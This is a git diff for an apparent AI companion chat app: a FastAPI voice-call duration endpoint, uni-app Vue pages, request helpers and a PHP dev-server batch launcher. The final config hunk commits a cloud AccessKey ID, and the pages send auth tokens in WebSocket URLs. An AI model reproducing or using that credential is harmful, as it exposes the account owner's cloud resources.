from ..models import Lover, VoiceLibrary
from ..models import Lover, VoiceLibrary, User
try:
from dashscope.audio.asr import Recognition, RecognitionCallback, RecognitionResult
@ -37,6 +37,37 @@ logger.setLevel(logging.INFO)
END_OF_TTS = "<<VOICE_CALL_TTS_END>>"
@router.get("/call/duration")
async def get_call_duration(user: AuthedUser = Depends(get_current_user)):
"""获取用户的语音通话时长配置"""
from ..db import SessionLocal
from ..models import User
from datetime import datetime
db = SessionLocal()
try:
user_row = db.query(User).filter(User.id == user.id).first()
if not user_row:
raise HTTPException(status_code=404, detail="用户不存在")
# 检查 VIP 状态vip_endtime 是 Unix 时间戳)
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
if is_vip:
duration = 0 # 0 表示无限制
else:
duration = 300000 # 普通用户 5 分钟
from ..response import success_response
return success_response({
"duration": duration,
"is_vip": is_vip
})
finally:
db.close()
class WSRecognitionCallback(RecognitionCallback): # type: ignore[misc]
"""ASR 回调,将句子级结果推入会话队列。"""

View File

@ -0,0 +1,29 @@
"""
修复数据库中的 TTS URL 127.0.0.1 替换为空让系统重新生成
"""
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from sqlalchemy import create_engine, text
from lover.config import settings
def fix_tts_urls():
engine = create_engine(settings.DATABASE_URL)
with engine.connect() as conn:
# 将所有包含 127.0.0.1 的 TTS URL 清空
result = conn.execute(
text("""
UPDATE nf_chat_message
SET tts_url = NULL, tts_status = 'pending'
WHERE tts_url LIKE '%127.0.0.1%'
""")
)
conn.commit()
print(f"已清理 {result.rowcount} 条旧的 TTS URL")
print("用户下次请求 TTS 时会自动使用新的 URL")
if __name__ == "__main__":
fix_tts_urls()

View File

@ -17,10 +17,14 @@ class SimpleTaskQueue:
self._inflight_lock = threading.Lock()
def start(self, workers: int):
import logging
logger = logging.getLogger(self._name)
with self._lock:
if self._started:
logger.warning(f"{self._name} 队列已经启动,跳过")
return
self._started = True
logger.info(f"启动 {workers}{self._name} worker 线程")
for idx in range(max(1, workers)):
thread = threading.Thread(
target=self._worker,
@ -29,6 +33,8 @@ class SimpleTaskQueue:
)
thread.start()
self._threads.append(thread)
logger.info(f"Worker 线程 {self._name}-worker-{idx + 1} 已启动")
logger.info(f"{self._name} 队列启动完成,共 {len(self._threads)} 个 worker")
def enqueue(self, func: Callable, *args, **kwargs) -> None:
self._queue.put((None, func, args, kwargs))
@ -45,22 +51,35 @@ class SimpleTaskQueue:
return True
def _worker(self):
import logging
logger = logging.getLogger(self._name)
logger.info(f"Worker 线程 {threading.current_thread().name} 开始运行")
while True:
key, func, args, kwargs = self._queue.get()
try:
func(*args, **kwargs)
except Exception:
logging.exception("%s worker task failed", self._name)
finally:
if key:
with self._inflight_lock:
self._inflight.discard(key)
self._queue.task_done()
logger.debug(f"Worker {threading.current_thread().name} 等待任务...")
key, func, args, kwargs = self._queue.get()
logger.info(f"Worker {threading.current_thread().name} 获取到任务: {func.__name__}, key={key}")
try:
func(*args, **kwargs)
logger.info(f"Worker {threading.current_thread().name} 任务完成: {func.__name__}")
except Exception as e:
logger.exception(f"{self._name} worker 任务失败: {e}")
finally:
if key:
with self._inflight_lock:
self._inflight.discard(key)
self._queue.task_done()
except Exception as e:
logger.exception(f"Worker {threading.current_thread().name} 发生异常: {e}")
sing_task_queue = SimpleTaskQueue("sing")
def start_sing_workers():
import logging
logger = logging.getLogger("sing")
workers = max(1, settings.SING_MERGE_MAX_CONCURRENCY or 1)
logger.info(f"启动 {workers} 个唱歌任务 worker 线程")
sing_task_queue.start(workers)
logger.info("唱歌任务 worker 线程启动完成")

BIN
public/tts/47/776.mp3 Normal file

Binary file not shown.

161
start_php_advanced.bat Normal file
View File

@ -0,0 +1,161 @@
@echo off
chcp 65001 >nul
title PHP 开发服务器
:MENU
cls
echo ========================================
echo PHP 开发服务器启动脚本 (高级版)
echo ========================================
echo.
echo 请选择启动模式:
echo.
echo [1] 快速启动 (端口 8080)
echo [2] 自定义端口
echo [3] 查看 PHP 信息
echo [4] 退出
echo.
echo ========================================
set /p choice=请输入选项 (1-4):
if "%choice%"=="1" goto QUICK_START
if "%choice%"=="2" goto CUSTOM_PORT
if "%choice%"=="3" goto PHP_INFO
if "%choice%"=="4" goto END
echo [错误] 无效选项,请重新选择
timeout /t 2 >nul
goto MENU
:QUICK_START
set PORT=8080
goto START_SERVER
:CUSTOM_PORT
echo.
set /p PORT=请输入端口号 (例如: 8080):
if "%PORT%"=="" (
echo [错误] 端口号不能为空
timeout /t 2 >nul
goto MENU
)
goto START_SERVER
:START_SERVER
cls
echo ========================================
echo 正在启动 PHP 开发服务器...
echo ========================================
echo.
REM 设置 PHP 路径
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
REM 检查 PHP 是否存在
if not exist "%PHP_PATH%" (
echo [错误] PHP 未找到: %PHP_PATH%
echo.
echo 请修改脚本中的 PHP_PATH 变量
pause
goto MENU
)
REM 显示 PHP 版本
echo [信息] PHP 版本:
"%PHP_PATH%" -v | findstr /C:"PHP"
echo.
REM 设置项目根目录
set PROJECT_ROOT=%~dp0xunifriend_RaeeC\public
REM 检查项目目录是否存在
if not exist "%PROJECT_ROOT%" (
echo [错误] 项目目录未找到: %PROJECT_ROOT%
pause
goto MENU
)
REM 获取本机 IP 地址
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /C:"IPv4"') do (
set LOCAL_IP=%%a
goto :IP_FOUND
)
:IP_FOUND
set LOCAL_IP=%LOCAL_IP: =%
REM 设置服务器参数
set HOST=0.0.0.0
echo [信息] 项目目录: %PROJECT_ROOT%
echo [信息] 服务器端口: %PORT%
echo.
echo ========================================
echo 访问地址:
echo ========================================
echo.
echo [本地访问]
echo http://127.0.0.1:%PORT%
echo http://localhost:%PORT%
echo.
echo [局域网访问]
echo http://%LOCAL_IP%:%PORT%
echo.
echo [管理后台]
echo http://127.0.0.1:%PORT%/admin
echo.
echo ========================================
echo.
echo [提示] 按 Ctrl+C 停止服务器
echo.
REM 询问是否打开浏览器
set /p OPEN_BROWSER=是否自动打开浏览器? (Y/N):
if /i "%OPEN_BROWSER%"=="Y" (
echo [信息] 正在打开浏览器...
start http://127.0.0.1:%PORT%
)
echo.
echo [信息] 服务器启动中...
echo ========================================
echo.
REM 启动 PHP 内置服务器
cd /d "%PROJECT_ROOT%"
"%PHP_PATH%" -S %HOST%:%PORT% -t .
pause
goto MENU
:PHP_INFO
cls
echo ========================================
echo PHP 信息
echo ========================================
echo.
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
if not exist "%PHP_PATH%" (
echo [错误] PHP 未找到: %PHP_PATH%
pause
goto MENU
)
echo [PHP 版本]
"%PHP_PATH%" -v
echo.
echo [PHP 配置文件]
"%PHP_PATH%" --ini
echo.
echo [已加载的扩展]
"%PHP_PATH%" -m
echo.
pause
goto MENU
:END
echo.
echo 感谢使用!
timeout /t 1 >nul
exit

View File

@ -1,13 +0,0 @@
{
"hash": "58b0dea4",
"browserHash": "94d21d6d",
"optimized": {
"easemob-websdk/uniApp/Easemob-chat": {
"src": "../../node_modules/easemob-websdk/uniApp/Easemob-chat.js",
"file": "easemob-websdk_uniApp_Easemob-chat.js",
"fileHash": "44a13f3e",
"needsInterop": true
}
},
"chunks": {}
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +0,0 @@
{"type":"module"}

View File

@ -0,0 +1,127 @@
<template>
<view class="main-tabs-container">
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false">
<view class="tab-list">
<view
v-for="(tab, index) in tabs"
:key="index"
class="tab-item"
:class="{ 'active': currentIndex === index }"
@click="switchTab(index)">
<text class="tab-name">{{ tab.name }}</text>
</view>
</view>
</scroll-view>
</view>
</template>
<script>
export default {
name: 'MainTabs',
props: {
// tab
current: {
type: Number,
default: 0
}
},
data() {
return {
currentIndex: this.current,
tabs: [
{ name: '首页', path: '/pages/index/index' },
{ name: '聊天', path: '/pages/chat/simple' }, //
{ name: '唱歌', path: '/pages/index/index?tab=2' },
{ name: '跳舞', path: '/pages/index/index?tab=3' },
{ name: '换服装', path: '/pages/index/replacement' },
{ name: '刷礼物', path: '/pages/index/index?tab=5' },
{ name: '商城', path: '/pages/index/index?tab=6' },
{ name: '短剧', path: '/pages/index/index?tab=7' }
]
}
},
watch: {
current(newVal) {
this.currentIndex = newVal;
}
},
methods: {
switchTab(index) {
console.log('Tab 组件:切换到索引', index, '对应 Tab:', this.tabs[index].name);
const tab = this.tabs[index];
//
if (this.currentIndex === index) {
return;
}
// 使 redirectTo
if (index === 0) {
//
uni.redirectTo({
url: '/pages/index/index'
});
} else if (index === 1) {
// -
uni.redirectTo({
url: '/pages/chat/simple'
});
} else if (index === 4) {
//
uni.redirectTo({
url: '/pages/index/replacement'
});
} else {
// tab tab
uni.redirectTo({
url: `/pages/index/index?tab=${index}`
});
}
}
}
}
</script>
<style scoped>
.main-tabs-container {
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 1000;
background: rgba(255, 255, 255, 0.95);
padding: 10rpx 0;
padding-top: calc(10rpx + var(--status-bar-height));
box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.1);
}
.tab-scroll {
white-space: nowrap;
}
.tab-list {
display: inline-flex;
padding: 0 20rpx;
}
.tab-item {
display: inline-block;
padding: 15rpx 30rpx;
margin: 0 10rpx;
font-size: 28rpx;
color: #666;
border-radius: 30rpx;
transition: all 0.3s;
}
.tab-item.active {
color: #fff;
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
font-weight: bold;
}
.tab-name {
white-space: nowrap;
}
</style>

View File

@ -71,6 +71,15 @@
"navigationStyle": "custom"
}
},
{
"path": "pages/chat/simple",
"style": {
"navigationBarTitleText": "聊天",
"navigationBarBackgroundColor": "#FFFFFF",
"navigationBarTextStyle": "black",
"navigationStyle": "custom"
}
},
{
"path": "pages/chat/phone",
"style": {

View File

@ -76,6 +76,8 @@
</template>
<script>
import { baseURL } from '@/utils/request.js'
export default {
data() {
return {
@ -262,7 +264,7 @@ export default {
},
computed: {
baseURL() {
return 'http://127.0.0.1:8080';
return baseURL;
}
}
}

View File

@ -275,6 +275,7 @@
SingGenerate,
SingGenerateTask
} from '@/utils/api.js'
import { baseURL, baseURLPy } from '@/utils/request.js'
import notHave from '@/components/not-have.vue';
import topSafety from '@/components/top-safety.vue';
import ai from '@/components/ai.vue';
@ -353,8 +354,8 @@
//
editModalVisible: false,
editingMessage: null,
baseURL: 'http://127.0.0.1:8080',
baseURLPy: 'http://127.0.0.1:8000',
baseURL: baseURL,
baseURLPy: baseURLPy,
//
messageSentTime: 0, //
}
@ -731,6 +732,7 @@
//
this.currentAudioContext.play();
this.isPlaying = true; // true
//
this.currentAudioContext.onEnded(() => {
@ -1150,12 +1152,17 @@
this.sessionSend();
},
playVoice(id) {
//
console.log('点击播放按钮消息ID:', id, '当前播放ID:', this.currentPlayingId, '播放状态:', this.isPlaying);
//
if (this.currentPlayingId === id && this.isPlaying) {
console.log('暂停当前播放的音频');
this.stopCurrentAudio();
return;
}
//
console.log('开始播放新音频消息ID:', id);
this.chatMessagesTtsform.id = id;
this.currentPlayingId = id; // ID
this.isPlaying = true; //

View File

@ -9,13 +9,13 @@
</view>
<view class="header">
<view class="header_content">
<view class="header_time">通话剩余时间</view>
<view class="header_module fa sb">
<view class="header_title faj">00</view>
<view class="header_title faj">05</view>
<view class="header_title faj">00</view>
<view class="header_time">{{ isVip ? 'VIP 无限通话' : '通话剩余时间' }}</view>
<view class="header_module fa sb" v-if="!isVip">
<view class="header_title faj">{{ formatTime(remainingTime).hours }}</view>
<view class="header_title faj">{{ formatTime(remainingTime).minutes }}</view>
<view class="header_title faj">{{ formatTime(remainingTime).seconds }}</view>
</view>
<view class="header_recharge faj">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
<view class="header_recharge faj" @click="goRecharge">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
</view>
</view>
</view>
@ -56,6 +56,7 @@
} from '@/utils/api.js'
import notHave from '@/components/not-have.vue';
import { baseURLPy } from '@/utils/request.js'
import topSafety from '@/components/top-safety.vue';
const recorderManager = uni.getRecorderManager();
export default {
@ -77,7 +78,10 @@
audioContext: null,
audioData: [],
isApp: false, // App
totalDuration: 300000, // 5
remainingTime: 300000,
timer: null,
isVip: false
}
},
onLoad() {
@ -86,13 +90,82 @@
console.log('systemInfo', systemInfo)
// console.log('plus', plus)
this.isApp = systemInfo.uniPlatform === 'app'
this.connectWebSocket()
this.getCallDuration()
this.initAudio()
},
onUnload() {
this.stopCall()
if (this.timer) {
clearInterval(this.timer)
}
},
methods: {
getCallDuration() {
uni.request({
url: baseURLPy + '/voice/call/duration',
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync("token")
},
success: (res) => {
console.log('通话时长配置:', res.data)
if (res.data.code === 1 && res.data.data) {
const duration = res.data.data.duration
this.isVip = res.data.data.is_vip
if (duration > 0) {
this.totalDuration = duration
this.remainingTime = duration
} else {
// VIP 24
this.totalDuration = 24 * 60 * 60 * 1000
this.remainingTime = 24 * 60 * 60 * 1000
}
}
this.connectWebSocket()
},
fail: (err) => {
console.error('获取通话时长失败:', err)
// 使
this.connectWebSocket()
}
})
},
formatTime(ms) {
const totalSeconds = Math.floor(ms / 1000)
const hours = Math.floor(totalSeconds / 3600)
const minutes = Math.floor((totalSeconds % 3600) / 60)
const seconds = totalSeconds % 60
return {
hours: String(hours).padStart(2, '0'),
minutes: String(minutes).padStart(2, '0'),
seconds: String(seconds).padStart(2, '0')
}
},
startTimer() {
if (this.timer) {
clearInterval(this.timer)
}
this.timer = setInterval(() => {
this.remainingTime -= 1000
if (this.remainingTime <= 0) {
clearInterval(this.timer)
uni.showToast({
title: '通话时间已用完',
icon: 'none'
})
setTimeout(() => {
uni.navigateBack()
}, 1500)
} else if (this.remainingTime === 60000) {
// 1
uni.showToast({
title: '剩余 1 分钟',
icon: 'none',
duration: 2000
})
}
}, 1000)
},
hangUp() {
uni.showModal({
title: '提示',
@ -147,6 +220,7 @@
this.socketTask.onOpen((res) => {
console.log('onOpen:', res)
this.startRecording();
this.startTimer();
});
this.socketTask.onMessage((res) => {
console.log('onMessage:', res.data)
@ -189,7 +263,7 @@
}
});
recorderManager.start({
duration: 600000,
duration: this.totalDuration,
format: 'pcm', // PCMParaformer PCM
sampleRate: 16000, // 16000Hz ASR
numberOfChannels: 1, //
@ -271,6 +345,9 @@
this.audioContext.pause();
this.audioContext.destroy();
}
if (this.timer) {
clearInterval(this.timer);
}
},
//
async handleServerMessage(data) {
@ -693,6 +770,12 @@
delta: 2,
});
},
goRecharge() {
uni.showToast({
title: '充值功能开发中',
icon: 'none'
})
}
}
}
</script>

View File

@ -0,0 +1,289 @@
<template>
<view class="chat-page">
<!-- 顶部 Tab -->
<main-tabs :current="1"></main-tabs>
<!-- 聊天内容区域 -->
<scroll-view
class="message-container"
scroll-y="true"
:scroll-top="scrollTop"
scroll-with-animation="true">
<view class="message-list">
<view
v-for="(msg, index) in messages"
:key="index"
class="message-item"
:class="msg.role === 'user' ? 'message-right' : 'message-left'">
<image
class="avatar"
:src="msg.role === 'user' ? userAvatar : loverAvatar"
mode="aspectFill">
</image>
<view class="message-bubble">
<text class="message-text">{{ msg.content }}</text>
</view>
</view>
</view>
</scroll-view>
<!-- 底部输入框 -->
<view class="input-bar">
<input
class="message-input"
v-model="inputText"
placeholder="输入消息..."
confirm-type="send"
@confirm="sendMessage"
/>
<view class="send-btn" @click="sendMessage">
<text>发送</text>
</view>
</view>
</view>
</template>
<script>
import MainTabs from '@/components/main-tabs.vue';
import { SessionInit, SessionSend } from '@/utils/api.js';
export default {
components: {
MainTabs
},
data() {
return {
messages: [],
inputText: '',
scrollTop: 0,
sessionId: null,
userAvatar: '',
loverAvatar: '',
sending: false
}
},
onLoad() {
//
const userInfo = uni.getStorageSync('userinfo');
this.userAvatar = userInfo?.avatar || '/static/images/avatar.png';
//
const loverInfo = uni.getStorageSync('loverBasicList');
this.loverAvatar = loverInfo?.image_url || '/static/images/avatar.png';
//
this.initSession();
},
methods: {
//
initSession() {
uni.showLoading({ title: '加载中...' });
SessionInit().then(res => {
uni.hideLoading();
if (res.code === 1) {
this.sessionId = res.data.session_id;
// 10
const allMessages = res.data.messages || [];
this.messages = allMessages.slice(-10).map(msg => ({
role: msg.role === 'lover' ? 'ai' : 'user',
content: msg.content
}));
//
this.$nextTick(() => {
this.scrollToBottom();
});
} else {
uni.showToast({ title: res.msg || '加载失败', icon: 'none' });
}
}).catch(err => {
uni.hideLoading();
console.error('初始化会话失败:', err);
uni.showToast({ title: '网络错误', icon: 'none' });
});
},
//
sendMessage() {
if (!this.inputText.trim()) {
return;
}
if (this.sending) {
return;
}
if (!this.sessionId) {
uni.showToast({ title: '会话未初始化', icon: 'none' });
return;
}
const userMessage = this.inputText.trim();
this.inputText = '';
//
this.messages.push({
role: 'user',
content: userMessage
});
//
this.$nextTick(() => {
this.scrollToBottom();
});
// ""
const thinkingIndex = this.messages.length;
this.messages.push({
role: 'ai',
content: '思考中...'
});
this.sending = true;
//
SessionSend({
session_id: this.sessionId,
message: userMessage
}).then(res => {
this.sending = false;
if (res.code === 1) {
// ""
this.messages.splice(thinkingIndex, 1);
// AI
this.messages.push({
role: 'ai',
content: res.data.reply || '...'
});
//
this.$nextTick(() => {
this.scrollToBottom();
});
} else {
// ""
this.messages.splice(thinkingIndex, 1);
uni.showToast({ title: res.msg || '发送失败', icon: 'none' });
}
}).catch(err => {
this.sending = false;
// ""
this.messages.splice(thinkingIndex, 1);
console.error('发送消息失败:', err);
uni.showToast({ title: '发送失败', icon: 'none' });
});
},
//
scrollToBottom() {
this.scrollTop = 999999;
}
}
}
</script>
<style scoped>
.chat-page {
width: 100%;
height: 100vh;
display: flex;
flex-direction: column;
background: #f5f5f5;
}
.message-container {
flex: 1;
margin-top: calc(80rpx + var(--status-bar-height));
margin-bottom: 120rpx;
padding: 20rpx;
}
.message-list {
width: 100%;
}
.message-item {
display: flex;
margin-bottom: 30rpx;
align-items: flex-start;
}
.message-left {
flex-direction: row;
}
.message-right {
flex-direction: row-reverse;
}
.avatar {
width: 80rpx;
height: 80rpx;
border-radius: 50%;
flex-shrink: 0;
}
.message-bubble {
max-width: 500rpx;
padding: 20rpx 25rpx;
border-radius: 20rpx;
margin: 0 20rpx;
}
.message-left .message-bubble {
background: #fff;
border-top-left-radius: 5rpx;
}
.message-right .message-bubble {
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
}
.message-text {
font-size: 28rpx;
line-height: 1.6;
word-wrap: break-word;
}
.message-left .message-text {
color: #333;
}
.message-right .message-text {
color: #fff;
}
.input-bar {
position: fixed;
bottom: 0;
left: 0;
right: 0;
display: flex;
align-items: center;
padding: 20rpx;
background: #fff;
border-top: 1rpx solid #e5e5e5;
z-index: 100;
}
.message-input {
flex: 1;
height: 80rpx;
padding: 0 25rpx;
background: #f5f5f5;
border-radius: 40rpx;
font-size: 28rpx;
}
.send-btn {
margin-left: 20rpx;
padding: 20rpx 40rpx;
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
color: #fff;
border-radius: 40rpx;
font-size: 28rpx;
}
</style>

View File

@ -56,6 +56,7 @@
<script>
import { LoverBasic } from '@/utils/api.js';
import { baseURLPy } from '@/utils/request.js';
export default {
data() {
@ -136,7 +137,11 @@ export default {
connectWebSocket() {
const token = uni.getStorageSync('token');
const wsUrl = `ws://127.0.0.1:8000/voice/call?token=${token}&ptt=true`;
// http:// ws://https:// wss://
const wsBaseUrl = baseURLPy.replace('http://', 'ws://').replace('https://', 'wss://');
const wsUrl = `${wsBaseUrl}/voice/call?token=${token}&ptt=true`;
console.log('WebSocket URL:', wsUrl);
this.websocket = uni.connectSocket({
url: wsUrl,

View File

@ -117,6 +117,7 @@ import {
ConfigVoicesAvailable,
LoverVoiceSimple
} from '@/utils/api.js'
import { baseURLPy } from '@/utils/request.js'
import notHave from '@/components/not-have.vue';
import topSafety from '@/components/top-safety.vue';
@ -145,7 +146,7 @@ export default {
cloning: false,
cloneStatus: '',
cloneVoiceId: '',
baseURLPy: 'http://127.0.0.1:8000',
baseURLPy: baseURLPy,
// 'file' 'url'
audioInputMode: 'url', // 使 URL
audioUrlInput: '', // URL

View File

@ -115,11 +115,13 @@ export default {
},
async friend() {
const res = await Friend(this.form)
console.log('Friend 接口返回:', res)
let data = ''
let ids = ''
let onlineData = ''
if (res.code == 1) {
data = res.data.data
data = res.data.data || []
console.log('解析后的 data:', data)
ids = data.map(item => {
return item.friend_id
});

View File

@ -30,7 +30,7 @@
<image class="list_border"
src="https://nvlovers.oss-cn-qingdao.aliyuncs.com/uploads/20251226/5b531717d4ecd0fd23b49d1541135f5a.png">
</image>
<image class="list_picture" :src="global + item.image"></image>
<image class="list_picture" :src="item.image && item.image.startsWith('http') ? item.image : global + item.image"></image>
<!-- <image class="list_tag" v-if="index === 0"
src="/static/images/gift_tag.png">
</image> -->
@ -51,7 +51,7 @@
<image src="/static/images/close.png" @click="closeClick()"></image>
</view>
<view class="alert_module fa">
<image class="alert_image" :src="global + giftInfoOptions.image" mode="aspectFill"></image>
<image class="alert_image" :src="giftInfoOptions.image && giftInfoOptions.image.startsWith('http') ? giftInfoOptions.image : global + giftInfoOptions.image" mode="aspectFill"></image>
<view class="alert_alert f1">
<view class="alert_item fa">
<image src="/static/images/star.png"></image>

File diff suppressed because it is too large Load Diff

View File

@ -171,6 +171,7 @@ import {
} from '@/utils/api.js'
import notHave from '@/components/not-have.vue';
import topSafety from '@/components/top-safety.vue';
export default {
components: {
notHave,

View File

@ -0,0 +1,129 @@
<template>
<view class="container">
<view class="header">
<view class="title">{{ pageTitle }}</view>
</view>
<scroll-view class="list" scroll-y="true">
<view v-if="historyList.length === 0" class="empty">
<text>暂无历史视频</text>
</view>
<view v-else>
<view class="item" v-for="(item, index) in historyList" :key="index">
<view class="item-info">
<text class="item-title">{{ itemTitle(item) }}</text>
<text class="item-date">{{ formatDate(item.created_at) }}</text>
</view>
<video v-if="item.video_url" class="video" :src="item.video_url" controls></video>
</view>
</view>
</scroll-view>
</view>
</template>
<script>
import { baseURLPy } from '@/utils/request.js'
export default {
data() {
return {
type: 'sing',
historyList: []
}
},
computed: {
pageTitle() {
return this.type === 'dance' ? '跳舞历史视频' : '唱歌历史视频';
}
},
onLoad(options) {
if (options && options.type) {
this.type = options.type;
}
},
onShow() {
this.fetchHistory();
},
methods: {
fetchHistory() {
const endpoint = this.type === 'dance' ? 'dance/history' : 'sing/history';
uni.request({
url: baseURLPy + '/' + endpoint,
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync('token')
},
success: (res) => {
if (res.data && res.data.code === 1 && res.data.data) {
this.historyList = res.data.data;
}
},
fail: () => {}
});
},
itemTitle(item) {
if (this.type === 'dance') {
return item.prompt || '跳舞视频';
}
return item.song_title || '唱歌视频';
},
formatDate(dateStr) {
if (!dateStr) return '';
const date = new Date(dateStr);
const month = String(date.getMonth() + 1).padStart(2, '0');
const day = String(date.getDate()).padStart(2, '0');
const hour = String(date.getHours()).padStart(2, '0');
const minute = String(date.getMinutes()).padStart(2, '0');
return `${month}-${day} ${hour}:${minute}`;
}
}
}
</script>
<style scoped>
.container {
flex: 1;
background: #0b0f1a;
padding: 24rpx;
box-sizing: border-box;
}
.header {
padding: 12rpx 0 24rpx;
}
.title {
font-size: 34rpx;
color: #ffffff;
font-weight: 600;
}
.list {
height: calc(100vh - 120rpx);
}
.empty {
padding: 40rpx 0;
text-align: center;
color: rgba(255,255,255,0.7);
}
.item {
margin-bottom: 24rpx;
padding: 18rpx;
background: rgba(255,255,255,0.06);
border-radius: 16rpx;
}
.item-info {
display: flex;
flex-direction: column;
margin-bottom: 12rpx;
}
.item-title {
color: #ffffff;
font-size: 28rpx;
margin-bottom: 6rpx;
}
.item-date {
color: rgba(255,255,255,0.6);
font-size: 22rpx;
}
.video {
width: 100%;
border-radius: 12rpx;
}
</style>

View File

@ -118,6 +118,7 @@
WxappGetPhone,
AppLoginWx
} from '@/utils/api.js'
import { baseURLPy } from '@/utils/request.js'
import {
isPhone,
getWxCode
@ -146,7 +147,7 @@
dataLogin: [],
selectStats: false,
inviteCode: '', //
baseURLPy: 'http://127.0.0.1:8000',
baseURLPy: baseURLPy,
}
},
computed: {
@ -430,29 +431,58 @@
// 使
applyInviteCode() {
const token = uni.getStorageSync("token");
console.log('准备使用邀请码:', this.inviteCode);
console.log('当前 token:', token);
if (!token) {
console.error('Token 不存在,无法使用邀请码');
uni.showToast({
title: '登录状态异常,请重新登录',
icon: 'none'
});
setTimeout(() => {
uni.navigateTo({
url: '/pages/index/index'
})
}, 1500);
return;
}
uni.request({
url: this.baseURLPy + '/config/invite/apply',
method: 'POST',
header: {
'Content-Type': 'application/json',
'token': uni.getStorageSync("token") || "",
'Authorization': 'Bearer ' + token,
},
data: {
invite_code: this.inviteCode
},
success: (res) => {
if (res.data.code === 1) {
console.log('邀请码使用响应:', res);
if (res.data && res.data.code === 1) {
uni.showToast({
title: res.data.data.message,
title: res.data.data.message || '邀请码使用成功',
icon: 'success'
});
} else {
// 使
console.log('邀请码使用失败:', res.data.message);
// 使
const errorMsg = res.data ? res.data.message : '邀请码使用失败';
console.log('邀请码使用失败:', errorMsg);
uni.showToast({
title: errorMsg,
icon: 'none',
duration: 2000
});
}
},
fail: (err) => {
console.error('邀请码请求失败:', err);
uni.showToast({
title: '网络错误,邀请码使用失败',
icon: 'none'
});
},
complete: () => {
//

View File

@ -43,6 +43,8 @@
</template>
<script>
import { baseURLPy } from '@/utils/request.js'
export default {
data() {
return {
@ -50,7 +52,7 @@
inviteCount: 0,
inviteReward: 0,
qrCodeUrl: '',
baseURLPy: 'http://127.0.0.1:8000',
baseURLPy: baseURLPy,
}
},
onLoad() {

View File

@ -0,0 +1,20 @@
短剧横幅图片说明
==================
当前使用的图片:/static/images/chat_a1.png临时占位图
如需替换为自定义图片:
1. 准备一张横幅图片建议尺寸400x300 像素或 2:1.5 比例)
2. 将图片命名为 drama-banner.jpg 或 drama-banner.png
3. 放置到 xuniYou/static/images/ 目录下
4. 修改 xuniYou/pages/index/index.vue 文件中的图片路径:
将 src="/static/images/chat_a1.png"
改为 src="/static/images/drama-banner.jpg"
链接地址https://djcps.meinvclk.top
功能说明:
- 点击该短剧项会打开外部链接
- H5 环境:在新标签页打开
- APP 环境:使用系统浏览器打开
- 小程序环境:复制链接到剪贴板

View File

@ -1,5 +1,3 @@
import {
request
} from '@/utils/request.js'
@ -9,18 +7,18 @@ export const getTokenApi = (data) => request({
url: '/api/huanxin/getToken',
method: 'post',
data: data
})
}, 2) // 使用 FastAPI
// 获取环信在线
export const getOnlineApi = (data) => request({
url: '/api/huanxin/online',
method: 'post',
data: data
})
}, 2) // 使用 FastAPI
// 发送环信消息
export const sendMessageApi = (data) => request({
url: '/api/huanxin/send',
method: 'post',
data: data
})
}, 2) // 使用 FastAPI

View File

@ -355,13 +355,19 @@ export const DanceGenerate = (data) => request({
url: '/dance/generate',
method: 'post',
data: data
},2)//跳舞
},2,false)//跳舞
export const DanceGenerateTask = (id) => request({
url: `/dance/generate/${id}`,
method: 'get',
},2,false)//监听生成视频结果
export const DanceCurrent = (data) => request({
url: '/dance/current',
method: 'get',
data: data
},2,false)//获取当前进行中的跳舞任务
export const SingSongs = (data) => request({
url: '/sing/songs',
method: 'get',
@ -379,6 +385,12 @@ export const SingGenerateTask = (id) => request({
method: 'get',
},2,false)//监听生成视频结果
export const SingCurrent = (data) => request({
url: '/sing/current',
method: 'get',
data: data
},2,false)//获取当前进行中的唱歌任务
export const DynamicShare = (data) => request({
url: '/dynamic/share',
method: 'post',

View File

@ -1,10 +1,10 @@
// 本地开发 - 电脑浏览器调试使用
export const baseURL = 'http://127.0.0.1:8080'
export const baseURLPy = 'http://127.0.0.1:8000'
// Windows 本地开发 - 混合架构
export const baseURL = 'http://192.168.1.164:30100' // PHP 处理用户管理和界面
export const baseURLPy = 'http://192.168.1.164:30101' // FastAPI 处理 AI 功能
// 开发环境 - 手机端调试使用局域网IP需要时取消注释
// export const baseURL = 'http://192.168.1.164:8080'
// export const baseURLPy = 'http://192.168.1.164:8000'
// 远程服务器 - 需要时取消注释
// export const baseURL = 'http://1.15.149.240:30100'
// export const baseURLPy = 'http://1.15.149.240:30100/api'
export const sid = 2
@ -29,9 +29,9 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
'token': uni.getStorageSync("token") || "", //自定义请求头信息
'sid': sid,
'Authorization': (uni.getStorageSync("token") ? ('Bearer ' + uni.getStorageSync("token")) : ""),
'X-User-Id': '84' // 开发环境调试用
},
success: (res) => {
console.log('请求成功:', url_base + options.url, '状态码:', res.statusCode, '数据:', res.data);
uni.hideLoading()
if (res.data.code == 1) {
resolve(res.data)
@ -58,6 +58,7 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
}
},
fail: (err) => {
console.log('请求失败:', url_base + options.url, '错误:', err);
uni.hideLoading(); // 添加这行确保请求失败时也隐藏loading
console.log('接口错误',err);
uni.showToast({

View File

@ -1,5 +1,5 @@
app_debug = true
app_trace = true
app_debug = false
app_trace = false
[database]
type = mysql

View File

@ -6,7 +6,7 @@ return [
'title' => 'AccessKey ID',
'type' => 'string',
'content' => [],
'value' => 'LTAI5tKVPVBA621ozJn6u3yp',
'value' => 'LTAI5tBzjogJDx4JzRYoDyEM',
'rule' => 'required',
'msg' => '',
'tip' => '',
@ -18,7 +18,7 @@ return [
'title' => 'AccessKey Secret',
'type' => 'string',
